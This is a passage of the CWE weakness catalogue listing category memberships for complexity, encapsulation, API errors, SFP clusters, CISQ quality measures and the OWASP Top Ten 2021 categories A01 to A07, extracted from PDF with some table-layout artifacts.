## Summary

Weaknesses in this category are associated with things being overly complex.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	699	1743
HasMember	B	1047	Modules with Circular Dependencies	699	1747
HasMember	B	1055	Multiple Inheritance from Concrete Classes	699	1755
HasMember	B	1056	Invokable Control Element with Variadic Parameters	699	1756
HasMember	B	1060	Excessive Number of Inefficient Server-Side Data Accesses	699	1761
HasMember	B	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters	699	1765
HasMember	B	1074	Class with Excessively Deep Inheritance	699	1776
HasMember	B	1075	Unconditional Control Flow Transfer outside of Switch Block	699	1777
HasMember	B	1080	Source Code File with Excessive Number of Lines of Code	699	1781
HasMember	B	1086	Class with Excessive Number of Child Classes	699	1786
HasMember	B	1095	Loop Condition Value Update within the Loop	699	1795
HasMember	B	1119	Excessive Use of Unconditional Branching	699	1816
HasMember	B	1121	Excessive McCabe Cyclomatic Complexity	699	1818
HasMember	B	1122	Excessive Halstead Complexity	699	1819
HasMember	B	1123	Excessive Use of Self-Modifying Code	699	1820
HasMember	B	1124	Excessively Deep Nesting	699	1820
HasMember	B	1125	Excessive Attack Surface	699	1821

## Category-1227: Encapsulation Issues

Category ID : 1227

## Summary

Weaknesses in this category are related to issues surrounding the bundling of data with the methods intended to operate on that data.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer	699	1754
HasMember	B	1057	Data Access Operations Outside of Expected Data Manager Component	699	1757
HasMember	B	1062	Parent Class with References to Child Class	699	1763
HasMember	B	1083	Data Access from Outside Expected Data Manager Component	699	1783
HasMember	B	1090	Method Containing Access of a Member Element from Another Class	699	1791
HasMember	B	1100	Insufficient Isolation of System-Dependent Functions	699	1800

Nature	Type	ID	Name	V	Page
HasMember	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	699	1804

## Category-1228: API / Function Errors

Category ID : 1228

### Summary

Weaknesses in this category are related to the use of built-in functions or external APIs.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	242	Use of Inherently Dangerous Function	699	557
HasMember	B	474	Use of Function with Inconsistent Implementations	699	1067
HasMember	B	475	Undefined Behavior for Input to API	699	1069
HasMember	B	477	Use of Obsolete Function	699	1076
HasMember	B	676	Use of Potentially Dangerous Function	699	1394
HasMember	B	695	Use of Low-Level Functionality	699	1425
HasMember	B	749	Exposed Dangerous Method or Function	699	1456

## Category-1237: SFP Primary Cluster: Faulty Resource Release

Category ID : 1237

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Release cluster (SFP37).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	V	415	Double Free	888	954
HasMember	V	762	Mismatched Memory Management Routines	888	1485
HasMember	B	763	Release of Invalid Pointer or Reference	888	1488

## Category-1238: SFP Primary Cluster: Failure to Release Memory

Category ID : 1238

### Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Memory cluster (SFP38).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331

Nature	Type	ID	Name	V	Page
HasMember	V	401	Missing Release of Memory after Effective Lifetime	888	921

## Category-1306: CISQ Quality Measures - Reliability

Category ID : 1306

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1305	CISQ Quality Measures (2020)	1305	2348
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1305	283
HasMember	B	170	Improper Null Termination	1305	411
HasMember	B	252	Unchecked Return Value	1305	575
HasMember	B	390	Detection of Error Condition Without Action	1305	893
HasMember	B	394	Unexpected Status Code or Return Value	1305	904
HasMember	C	404	Improper Resource Shutdown or Release	1305	927
HasMember	C	424	Improper Protection of Alternate Path	1305	968
HasMember	B	459	Incomplete Cleanup	1305	1038
HasMember	B	476	NULL Pointer Dereference	1305	1070
HasMember	B	480	Use of Incorrect Operator	1305	1087
HasMember	B	484	Omitted Break Statement in Switch	1305	1097
HasMember	B	562	Return of Stack Variable Address	1305	1204
HasMember	V	595	Comparison of Object References Instead of Object Contents	1305	1256
HasMember	C	662	Improper Synchronization	1305	1363
HasMember	C	665	Improper Initialization	1305	1368
HasMember	C	672	Operation on a Resource after Expiration or Release	1305	1386
HasMember	B	681	Incorrect Conversion between Numeric Types	1305	1400
HasMember	P	682	Incorrect Calculation	1305	1403
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1305	1433
HasMember	C	704	Incorrect Type Conversion or Cast	1305	1435
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1305	1472
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1305	1636
HasMember	B	908	Use of Uninitialized Resource	1305	1669
HasMember	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	1305	1745
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	1305	1751
HasMember	B	1066	Missing Serialization Control Element	1305	1767
HasMember	B	1070	Serializable Data Element Containing non-Serializable Item Elements	1305	1772
HasMember	V	1077	Floating Point Comparison with Incorrect Operator	1305	1778
HasMember	B	1079	Parent Class without Virtual Destructor Method	1305	1780
HasMember	B	1082	Class Instance Self Destruction Control Element	1305	1782

Nature	Type	ID	Name	V	Page
HasMember	B	1083	Data Access from Outside Expected Data Manager Component		1305 1783
HasMember	B	1087	Class with Virtual Method without a Virtual Destructor		1305 1787
HasMember	B	1088	Synchronous Access of Remote Resource without Timeout		1305 1788
HasMember	V	1098	Data Element containing Pointer Item without Proper Copy Control Element		1305 1798

## References

[REF-1133]Consortium for Information & Software Quality (CISQ). "Automated Source Code Quality Measures". 2020. < <https://www.omg.org/spec/ASCQM/> >.

## Category-1307: CISQ Quality Measures - Maintainability

Category ID : 1307

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1305	CISQ Quality Measures (2020)		1305 2348
HasMember	G	407	Inefficient Algorithmic Complexity		1305 939
HasMember	B	478	Missing Default Case in Multiple Condition Expression		1305 1079
HasMember	B	480	Use of Incorrect Operator		1305 1087
HasMember	B	484	Omitted Break Statement in Switch		1305 1097
HasMember	B	561	Dead Code		1305 1201
HasMember	B	570	Expression is Always False		1305 1216
HasMember	B	571	Expression is Always True		1305 1219
HasMember	B	783	Operator Precedence Logic Error		1305 1536
HasMember	B	1041	Use of Redundant Code		1305 1740
HasMember	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor		1305 1745
HasMember	B	1047	Modules with Circular Dependencies		1305 1747
HasMember	B	1048	Invokable Control Element with Large Number of Outward Calls		1305 1748
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data		1305 1751
HasMember	B	1052	Excessive Use of Hard-Coded Literals in Initialization		1305 1752
HasMember	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer		1305 1754
HasMember	B	1055	Multiple Inheritance from Concrete Classes		1305 1755
HasMember	B	1062	Parent Class with References to Child Class		1305 1763
HasMember	B	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters		1305 1765
HasMember	B	1074	Class with Excessively Deep Inheritance		1305 1776
HasMember	B	1075	Unconditional Control Flow Transfer outside of Switch Block		1305 1777
HasMember	B	1079	Parent Class without Virtual Destructor Method		1305 1780

Nature	Type	ID	Name	V	Page
HasMember	B	1080	Source Code File with Excessive Number of Lines of Code	1305	1781
HasMember	B	1084	Invokable Control Element with Excessive File or Data Access Operations	1305	1784
HasMember	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code	1305	1785
HasMember	B	1086	Class with Excessive Number of Child Classes	1305	1786
HasMember	B	1087	Class with Virtual Method without a Virtual Destructor	1305	1787
HasMember	B	1090	Method Containing Access of a Member Element from Another Class	1305	1791
HasMember	B	1095	Loop Condition Value Update within the Loop	1305	1795

## References

[REF-1133]Consortium for Information & Software Quality (CISQ). "Automated Source Code Quality Measures". 2020. < <https://www.omg.org/spec/ASCQM/> >.

## Category-1308: CISQ Quality Measures - Security

Category ID : 1308

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1305	CISQ Quality Measures (2020)	1305	2348
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1305	33
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1305	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1305	159
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1305	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	1305	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	1305	209
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	1305	235
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1305	283
HasMember	V	129	Improper Validation of Array Index	1305	327
HasMember	B	134	Use of Externally-Controlled Format String	1305	349
HasMember	B	252	Unchecked Return Value	1305	575
HasMember	C	404	Improper Resource Shutdown or Release	1305	927
HasMember	C	424	Improper Protection of Alternate Path	1305	968
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	1305	991
HasMember	B	477	Use of Obsolete Function	1305	1076
HasMember	B	480	Use of Incorrect Operator	1305	1087



Nature	Type	ID	Name	V	Page
HasMember	B	502	Deserialization of Untrusted Data		1137
HasMember	B	570	Expression is Always False		1216
HasMember	B	571	Expression is Always True		1219
HasMember	B	606	Unchecked Input for Loop Condition		1278
HasMember	B	611	Improper Restriction of XML External Entity Reference		1286
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')		1336
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')		1351
HasMember	G	662	Improper Synchronization		1363
HasMember	G	665	Improper Initialization		1368
HasMember	G	672	Operation on a Resource after Expiration or Release		1386
HasMember	B	681	Incorrect Conversion between Numeric Types		1400
HasMember	P	682	Incorrect Calculation		1403
HasMember	G	732	Incorrect Permission Assignment for Critical Resource		1445
HasMember	B	778	Insufficient Logging		1525
HasMember	B	783	Operator Precedence Logic Error		1536
HasMember	V	789	Memory Allocation with Excessive Size Value		1558
HasMember	B	798	Use of Hard-coded Credentials		1573
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')		1636

## References

[REF-1133] Consortium for Information & Software Quality (CISQ). "Automated Source Code Quality Measures". 2020. < <https://www.omg.org/spec/ASCQM/> >.

## Category-1309: CISQ Quality Measures - Efficiency

Category ID : 1309

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1305	CISQ Quality Measures (2020)		2348
HasMember	G	404	Improper Resource Shutdown or Release		927
HasMember	G	424	Improper Protection of Alternate Path		968
HasMember	V	1042	Static Member Data Element outside of a Singleton Class Element		1742
HasMember	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements		1743
HasMember	B	1046	Creation of Immutable Text Using String Concatenation		1746
HasMember	B	1049	Excessive Data Query Operations in a Large Data Table		1749
HasMember	B	1050	Excessive Platform Resource Consumption within a Loop		1750
HasMember	B	1057	Data Access Operations Outside of Expected Data Manager Component		1757



Nature	Type	ID	Name	V	Page
HasMember	B	1060	Excessive Number of Inefficient Server-Side Data Accesses	1305	1761
HasMember	B	1067	Excessive Execution of Sequential Searches of Data Resource	1305	1768
HasMember	B	1072	Data Resource Access without Use of Connection Pooling	1305	1773
HasMember	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses	1305	1774
HasMember	B	1089	Large Data Table with Excessive Number of Indices	1305	1789
HasMember	B	1091	Use of Object without Invoking Destructor Method	1305	1792
HasMember	B	1094	Excessive Index Range Scan for a Data Resource	1305	1794

## References

[REF-1133]Consortium for Information & Software Quality (CISQ). "Automated Source Code Quality Measures". 2020. < <https://www.omg.org/spec/ASCQM/> >.

## Category-1345: OWASP Top Ten 2021 Category A01:2021 - Broken Access Control

Category ID : 1345

### Summary

Weaknesses in this category are related to the A01 category "Broken Access Control" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1344	33
HasMember	B	23	Relative Path Traversal	1344	44
HasMember	V	35	Path Traversal: '!.../.../'	1344	70
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	1344	108
HasMember	G	200	Exposure of Sensitive Information to an Unauthorized Actor	1344	484
HasMember	B	201	Insertion of Sensitive Information Into Sent Data	1344	493
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	1344	529
HasMember	C	264	Permissions, Privileges, and Access Controls	1344	2108
HasMember	C	275	Permission Issues	1344	2110
HasMember	B	276	Incorrect Default Permissions	1344	630
HasMember	P	284	Improper Access Control	1344	644
HasMember	G	285	Improper Authorization	1344	649
HasMember	⚡	352	Cross-Site Request Forgery (CSRF)	1344	821
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1344	836
HasMember	G	377	Insecure Temporary File	1344	876
HasMember	G	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	1344	924
HasMember	B	425	Direct Request ('Forced Browsing')	1344	969

Nature	Type	ID	Name	V	Page
HasMember		441	Unintended Proxy or Intermediary ('Confused Deputy')	1344	1005
HasMember		497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1344	1127
HasMember		538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1344	1178
HasMember		540	Inclusion of Sensitive Information in Source Code	1344	1180
HasMember		548	Exposure of Information Through Directory Listing	1344	1189
HasMember		552	Files or Directories Accessible to External Parties	1344	1193
HasMember		566	Authorization Bypass Through User-Controlled SQL Primary Key	1344	1211
HasMember		601	URL Redirection to Untrusted Site ('Open Redirect')	1344	1266
HasMember		639	Authorization Bypass Through User-Controlled Key	1344	1324
HasMember		651	Exposure of WSDL File Containing Sensitive Information	1344	1350
HasMember		668	Exposure of Resource to Wrong Sphere	1344	1380
HasMember		706	Use of Incorrectly-Resolved Name or Reference	1344	1439
HasMember		862	Missing Authorization	1344	1657
HasMember		863	Incorrect Authorization	1344	1664
HasMember		913	Improper Control of Dynamically-Managed Code Resources	1344	1681
HasMember		922	Insecure Storage of Sensitive Information	1344	1698
HasMember		1275	Sensitive Cookie with Improper SameSite Attribute	1344	1948

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1207]"A01:2021 - Broken Access Control". 2021 September 4. OWASP. < [https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1346: OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures

Category ID : 1346

### Summary

Weaknesses in this category are related to the A02 category "Cryptographic Failures" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember		261	Weak Encoding for Password	1344	598
HasMember		296	Improper Following of a Certificate's Chain of Trust	1344	682
HasMember		310	Cryptographic Issues	1344	2111

Nature	Type	ID	Name	V	Page
HasMember	B	319	Cleartext Transmission of Sensitive Information	1344	740
HasMember	V	321	Use of Hard-coded Cryptographic Key	1344	745
HasMember	B	322	Key Exchange without Entity Authentication	1344	749
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	1344	750
HasMember	B	324	Use of a Key Past its Expiration Date	1344	752
HasMember	B	325	Missing Cryptographic Step	1344	754
HasMember	G	326	Inadequate Encryption Strength	1344	756
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	1344	758
HasMember	B	328	Use of Weak Hash	1344	765
HasMember	V	329	Generation of Predictable IV with CBC Mode	1344	769
HasMember	G	330	Use of Insufficiently Random Values	1344	772
HasMember	B	331	Insufficient Entropy	1344	778
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	1344	786
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	1344	789
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	1344	791
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	1344	793
HasMember	G	340	Generation of Predictable Numbers or Identifiers	1344	798
HasMember	B	347	Improper Verification of Cryptographic Signature	1344	811
HasMember	B	523	Unprotected Transport of Credentials	1344	1161
HasMember	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	1344	2126
HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1344	1471
HasMember	V	759	Use of a One-Way Hash without a Salt	1344	1474
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	1344	1479
HasMember	V	780	Use of RSA Algorithm without OAEP	1344	1531
HasMember	C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	1344	2153
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	1344	1688

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1208]"A02:2021 - Cryptographic Failures". 2021 September 4. OWASP. < [https://owasp.org/Top10/A02\\_2021-Cryptographic\\_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1347: OWASP Top Ten 2021 Category A03:2021 - Injection

Category ID : 1347

## Summary

Weaknesses in this category are related to the A03 category "Injection" in the OWASP Top Ten 2021.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	C	20	Improper Input Validation	1344	19
HasMember	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	1344	133
HasMember	C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	1344	138
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1344	141
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1344	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1344	159
HasMember	V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	1344	172
HasMember	V	83	Improper Neutralization of Script in Attributes in a Web Page	1344	179
HasMember	V	87	Improper Neutralization of Alternate XSS Syntax	1344	186
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1344	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1344	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	1344	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	1344	209
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	1344	211
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	1344	213
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	1344	220
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	1344	225
HasMember	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	1344	228
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1344	229
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	1344	235
HasMember	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	1344	263
HasMember	C	116	Improper Encoding or Escaping of Output	1344	272
HasMember	C	138	Improper Neutralization of Special Elements	1344	357
HasMember	B	184	Incomplete List of Disallowed Inputs	1344	441
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1344	1057

Nature	Type	ID	Name	V	Page
HasMember	B	471	Modification of Assumed-Immutable Data (MAID)	1344	1060
HasMember	V	564	SQL Injection: Hibernate	1344	1207
HasMember	G	610	Externally Controlled Reference to a Resource in Another Sphere	1344	1285
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1344	1336
HasMember	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	1344	1338
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1344	1351
HasMember	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1344	1692

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include high-level Class and/or Pillar weaknesses. The CWE Program will work with OWASP to improve these mappings, possibly including modifications to CWE itself.

## References

[REF-1209]"A03:2021 - Injection". 2021 September 4. OWASP. < [https://owasp.org/Top10/A03\\_2021-Injection/](https://owasp.org/Top10/A03_2021-Injection/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1348: OWASP Top Ten 2021 Category A04:2021 - Insecure Design

Category ID : 1348


























## Summary

Weaknesses in this category are related to the A04 "Insecure Design" category in the OWASP Top Ten 2021.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	B	73	External Control of File Name or Path	1344	128
HasMember	B	183	Permissive List of Allowed Inputs	1344	439
HasMember	B	209	Generation of Error Message Containing Sensitive Information	1344	510
HasMember	B	213	Exposure of Sensitive Information Due to Incompatible Policies	1344	523
HasMember	V	235	Improper Handling of Extra Parameters	1344	550
HasMember	B	256	Plaintext Storage of a Password	1344	583
HasMember	B	257	Storing Passwords in a Recoverable Format	1344	586
HasMember	B	266	Incorrect Privilege Assignment	1344	605
HasMember	G	269	Improper Privilege Management	1344	613
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	1344	638



Nature	Type	ID	Name	V	Page
HasMember		311	Missing Encryption of Sensitive Data	1344	718
HasMember		312	Cleartext Storage of Sensitive Information	1344	725
HasMember		313	Cleartext Storage in a File or on Disk	1344	731
HasMember		316	Cleartext Storage of Sensitive Information in Memory	1344	736
HasMember		419	Unprotected Primary Channel	1344	962
HasMember		430	Deployment of Wrong Handler	1344	985
HasMember		434	Unrestricted Upload of File with Dangerous Type	1344	991
HasMember		444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	1344	1009
HasMember		451	User Interface (UI) Misrepresentation of Critical Information	1344	1020
HasMember		472	External Control of Assumed-Immutable Web Parameter	1344	1062
HasMember		501	Trust Boundary Violation	1344	1135
HasMember		522	Insufficiently Protected Credentials	1344	1157
HasMember		525	Use of Web Browser Cache Containing Sensitive Information	1344	1164
HasMember		539	Use of Persistent Cookies Containing Sensitive Information	1344	1179
HasMember		579	J2EE Bad Practices: Non-serializable Object Stored in Session	1344	1233
HasMember		598	Use of GET Request Method With Sensitive Query Strings	1344	1262
HasMember		602	Client-Side Enforcement of Server-Side Security	1344	1271
HasMember		642	External Control of Critical State Data	1344	1330
HasMember		646	Reliance on File Name or Extension of Externally-Supplied File	1344	1341
HasMember		650	Trusting HTTP Permission Methods on the Server Side	1344	1348
HasMember		653	Improper Isolation or Compartmentalization	1344	1353
HasMember		656	Reliance on Security Through Obscurity	1344	1359
HasMember		657	Violation of Secure Design Principles	1344	1361
HasMember		799	Improper Control of Interaction Frequency	1344	1582
HasMember		807	Reliance on Untrusted Inputs in a Security Decision	1344	1595
HasMember		840	Business Logic Errors	1344	2153
HasMember		841	Improper Enforcement of Behavioral Workflow	1344	1649
HasMember		927	Use of Implicit Intent for Sensitive Communication	1344	1706
HasMember		1021	Improper Restriction of Rendered UI Layers or Frames	1344	1727
HasMember		1173	Improper Use of Validation Framework	1344	1824

## Notes

### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1210]"A04:2021 - Insecure Design". 2021 September 4. OWASP. < [https://owasp.org/Top10/A04\\_2021-Insecure\\_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1349: OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration

Category ID : 1349

### Summary

Weaknesses in this category are related to the A05 category "Security Misconfiguration" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	C	2	7PK - Environment	1344	2099
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	1344	9
HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	1344	12
HasMember	B	15	External Control of System or Configuration Setting	1344	17
HasMember	C	16	Configuration	1344	2100
HasMember	B	260	Password in Configuration File	1344	596
HasMember	V	315	Cleartext Storage of Sensitive Information in a Cookie	1344	734
HasMember	V	520	.NET Misconfiguration: Use of Impersonation	1344	1154
HasMember	V	526	Cleartext Storage of Sensitive Information in an Environment Variable	1344	1165
HasMember	V	537	Java Runtime Error Message Containing Sensitive Information	1344	1176
HasMember	V	541	Inclusion of Sensitive Information in an Include File	1344	1181
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	1344	1187
HasMember	B	611	Improper Restriction of XML External Entity Reference	1344	1286
HasMember	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	1344	1292
HasMember	B	756	Missing Custom Error Page	1344	1469
HasMember	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1344	1521
HasMember	V	942	Permissive Cross-domain Policy with Untrusted Domains	1344	1717
HasMember	V	1004	Sensitive Cookie Without 'HttpOnly' Flag	1344	1721
HasMember	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1344	2231
HasMember	V	1174	ASP.NET Misconfiguration: Improper Model Validation	1344	1825

### Notes

#### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1211]"A05:2021 - Security Misconfiguration". 2021 September 4. OWASP. < [https://owasp.org/Top10/A05\\_2021-Security\\_Misconfiguration/](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.



## Category-1352: OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components

Category ID : 1352

### Summary

Weaknesses in this category are related to the A06 category "Vulnerable and Outdated Components" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	C	937	OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities	1344	2186
HasMember	C	1035	OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities	1344	2232
HasMember	B	1104	Use of Unmaintained Third Party Components	1344	1803

### Notes

#### Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

### References

[REF-1212]"A06:2021 - Vulnerable and Outdated Components". 2021 September 4. OWASP. < [https://owasp.org/Top10/A06\\_2021-Vulnerable\\_and\\_Outdated\\_Components/](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) >.

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Category-1353: OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures















Category ID : 1353

### Summary

Weaknesses in this category are related to the A07 category "Identification and Authentication Failures" in the OWASP Top Ten 2021.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1344	Weaknesses in OWASP Top Ten (2021)	1344	2353
HasMember	C	255	Credentials Management Errors	1344	2107
HasMember	V	259	Use of Hard-coded Password	1344	591
HasMember	G	287	Improper Authentication	1344	657
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	1344	664
HasMember	B	290	Authentication Bypass by Spoofing	1344	668
HasMember	B	294	Authentication Bypass by Capture-replay	1344	675
HasMember	B	295	Improper Certificate Validation	1344	677
HasMember	V	297	Improper Validation of Certificate with Host Mismatch	1344	684

Nature	Type	ID	Name	V	Page
HasMember		300	Channel Accessible by Non-Endpoint	1344	692
HasMember		302	Authentication Bypass by Assumed-Immutable Data	1344	697
HasMember		304	Missing Critical Step in Authentication	1344	700
HasMember		306	Missing Authentication for Critical Function	1344	703
